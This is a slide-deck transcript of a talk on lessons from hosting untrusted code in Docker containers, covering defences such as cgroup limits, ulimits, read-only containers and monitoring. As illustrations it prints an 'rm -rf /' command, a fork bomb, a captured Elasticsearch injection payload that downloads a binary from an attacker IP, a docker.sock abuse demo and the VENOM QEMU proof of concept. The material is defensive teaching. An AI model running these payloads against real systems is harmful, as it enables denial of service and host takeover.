Top Banner
Lessons from running potentially malicious code inside containers @Ben_Hall [email protected] Ocelot Uproar / Katacoda.com
56

Lessons from running potentially malicious code inside containers

Jan 19, 2017

Download

Software

Ben Hall
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Lessons from running potentially malicious code inside containers

Lessons from running potentially malicious code inside containers@[email protected] Uproar / Katacoda.com

Page 2: Lessons from running potentially malicious code inside containers

@Ben_Hall / Blog.BenHall.me.uk

Docker London Organiser

Software Development Studio

WH

O AM

I?

Page 3: Lessons from running potentially malicious code inside containers

“What happens when you give anonymous unrestricted

access to a hosted Docker container & daemon?”

This is how we [try to] protect ourselves

Page 4: Lessons from running potentially malicious code inside containers

Learn via Interactive Browser-Based LabsKatacoda.com

Page 5: Lessons from running potentially malicious code inside containers

Multi-tenant system

PaaS

CI Servers

Untrusted 3rd Parties

Docker Security Practices

Page 6: Lessons from running potentially malicious code inside containers
Page 7: Lessons from running potentially malicious code inside containers

The first “hack”

Page 8: Lessons from running potentially malicious code inside containers

$ whoami$ pwd$ cd /$ ls$ apt-get install <some package>$ passwd$ rm –rf /

Page 9: Lessons from running potentially malicious code inside containers
Page 10: Lessons from running potentially malicious code inside containers

DockerfileRUN adduser <new user>USER <new user>

$ docker run –u <new user>

Page 11: Lessons from running potentially malicious code inside containers

$ uptime$ free -m$ df -h$ cat /proc/cpuinfo$ uname -a

Page 12: Lessons from running potentially malicious code inside containers
Page 13: Lessons from running potentially malicious code inside containers

$ reboot

$ shutdown now

Page 14: Lessons from running potentially malicious code inside containers
Page 15: Lessons from running potentially malicious code inside containers

“It also allows the container to access local network services + like D-bus and is therefore

considered insecure”

$ docker run --net=host -it ubuntu bash root@ubuntu:/# shutdown now root@ubuntu:/# $ docker run --net=host -it ubuntu bash Post http://docker:4243/v1.20/containers/create: EOF. * Are you trying to connect to a TLS-enabled daemon without TLS? * Is your docker daemon up and running?

Page 16: Lessons from running potentially malicious code inside containers

Docker out of the box covers a lot but not everything…

Page 17: Lessons from running potentially malicious code inside containers

$ while :; do echo 'Hello World'; done

Page 18: Lessons from running potentially malicious code inside containers

Log Rotation since 1.8

Page 19: Lessons from running potentially malicious code inside containers

$ fallocate Operation Not Supported

$ truncate

$ dd

Page 20: Lessons from running potentially malicious code inside containers

Root users can write to it. If you can write to it, you can fill it.

$ ls /docker/aufs/diff/<container-id>/

$ cat /docker/containers/<container-id>/hosts

Page 21: Lessons from running potentially malicious code inside containers

Bandwidth

Page 22: Lessons from running potentially malicious code inside containers

Difficult to restrict

Page 23: Lessons from running potentially malicious code inside containers
Page 24: Lessons from running potentially malicious code inside containers

CGroups and Namespaces

Page 25: Lessons from running potentially malicious code inside containers

CPU Shares

Page 26: Lessons from running potentially malicious code inside containers

:(){ :|: & };:

Page 27: Lessons from running potentially malicious code inside containers

$ docker run -d -u daemon --ulimit nproc=3 busybox top $ docker run -d -u daemon --ulimit nproc=3 busybox top $ docker run -d -u daemon --ulimit nproc=3 busybox top $ docker run -d -u daemon --ulimit nproc=3 busybox topefe086376f3d1b09f6d99fa1af8bfb6e021cdba9b363bd6ac10c07704239b398 Error response from daemon: Cannot start container efe086376f3d1b09f6d99fa1af8bfb6e021cdba9b363bd6ac10c07704239b398: [8] System error: resource temporarily unavailable

Page 28: Lessons from running potentially malicious code inside containers
Page 29: Lessons from running potentially malicious code inside containers

Cgroup Settings

• Limit a container to a share of the resource> --cpu-shares> --cpuset-cpus> --memory-reservation> --kernel-memory> --blkio-weight (block IO)> --device-read-iops> --device-write-iops

Page 30: Lessons from running potentially malicious code inside containers

Namespaces limit what a container can see…

Page 31: Lessons from running potentially malicious code inside containers

Seccomp & AppArmor

Page 32: Lessons from running potentially malicious code inside containers
Page 33: Lessons from running potentially malicious code inside containers
Page 34: Lessons from running potentially malicious code inside containers

The Warden

Based on Docker API + Magic

Snort for Docker?

Page 35: Lessons from running potentially malicious code inside containers

Sysdig Falco

Page 36: Lessons from running potentially malicious code inside containers

What happens when it all goes wrong?

Page 37: Lessons from running potentially malicious code inside containers

Hosting provider becomes unhappy

Page 38: Lessons from running potentially malicious code inside containers
Page 39: Lessons from running potentially malicious code inside containers
Page 40: Lessons from running potentially malicious code inside containers

org.elasticsearch.search.SearchParseException: [index][3]: query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"script":"import java.util.*;\nimport java.io.*;\nString str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xdvi http://<IP Address>:9985/xdvi\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"}}}]]

http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/

Page 41: Lessons from running potentially malicious code inside containers

C /binC /bin/netstatC /bin/psC /bin/ssC /etcC /etc/init.dA /etc/init.d/DbSecuritySptA /etc/init.d/selinuxC /etc/rc1.dA /etc/rc1.d/S97DbSecuritySptA /etc/rc1.d/S99selinuxC /etc/rc2.dA /etc/rc2.d/S97DbSecuritySptA /etc/rc2.d/S99selinuxC /etc/rc3.dA /etc/rc3.d/S97DbSecuritySptA /etc/rc3.d/S99selinuxC /etc/rc4.dA /etc/rc4.d/S97DbSecuritySptA /etc/rc4.d/S99selinuxC /etc/rc5.d

http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/

A /etc/rc5.d/S97DbSecuritySptA /etc/rc5.d/S99selinuxC /etc/sshA /etc/ssh/bfgffaA /os6A /safe64C /tmpA /tmp/.Mm2A /tmp/64A /tmp/6SxxA /tmp/6UbbA /tmp/DDos99A /tmp/cmd.nA /tmp/conf.nA /tmp/ddos8A /tmp/dp25A /tmp/frccA /tmp/gates.lodA /tmp/hkddosA /tmp/hsperfdata_rootA /tmp/linux32

A /tmp/linux64A /tmp/managerA /tmp/moni.lodA /tmp/nbA /tmp/o32A /tmp/obaA /tmp/okmlA /tmp/oniA /tmp/yn25C /usrC /usr/binA /usr/bin/.sshdA /usr/bin/dpkgdA /usr/bin/dpkgd/netstatA /usr/bin/dpkgd/psA /usr/bin/dpkgd/ss

Page 42: Lessons from running potentially malicious code inside containers

Read Only Containers

> docker run –-read-only \ –v /data:/data \ elasticsearch

Page 43: Lessons from running potentially malicious code inside containers
Page 44: Lessons from running potentially malicious code inside containers
Page 45: Lessons from running potentially malicious code inside containers

Is Docker Secure?

• Yes. It’s as secure as your practices are.• ElasticSearch hack would have taken over

entire box• I’ve pointed out the bad bits• New game, new rules to play by.

Page 46: Lessons from running potentially malicious code inside containers

$ docker run benhall/cute-kittensError: Missing docker.sockUsage: docker run -v /var/run/docker.sock:/var/run/docker.sock benhall/cute-kittens

$ docker run -v /var/run/docker.sock:/var/run/docker.sock benhall/cute-kittens

Page 47: Lessons from running potentially malicious code inside containers

if [ -e /var/run/docker.sock ]; then echo "**** Launching ****” docker run --privileged busybox ls /dev echo "**** Cute kittens ****"else echo "Error: Missing docker.sock”fi

Page 48: Lessons from running potentially malicious code inside containers
Page 49: Lessons from running potentially malicious code inside containers
Page 50: Lessons from running potentially malicious code inside containers
Page 51: Lessons from running potentially malicious code inside containers
Page 52: Lessons from running potentially malicious code inside containers

DockerBench.com

Page 53: Lessons from running potentially malicious code inside containers

Think VMs contain?• CVE-2016-3710: QEMU: out-of-bounds memory access issue

• Venom QEMU/KVM – Attack via floppy driver#include <sys/io.h>#define FIFO 0x3f5int main() { int i; iopl(3);

outb(0x0a,0x3f5); /* READ ID */ for (i=0;i<10000000;i++) outb(0x42,0x3f5); /* push */}

Page 54: Lessons from running potentially malicious code inside containers
Page 55: Lessons from running potentially malicious code inside containers

Available for one/two day Microservice/Docker Security training

Page 56: Lessons from running potentially malicious code inside containers

Thank you!

www.Katacoda.com

@[email protected]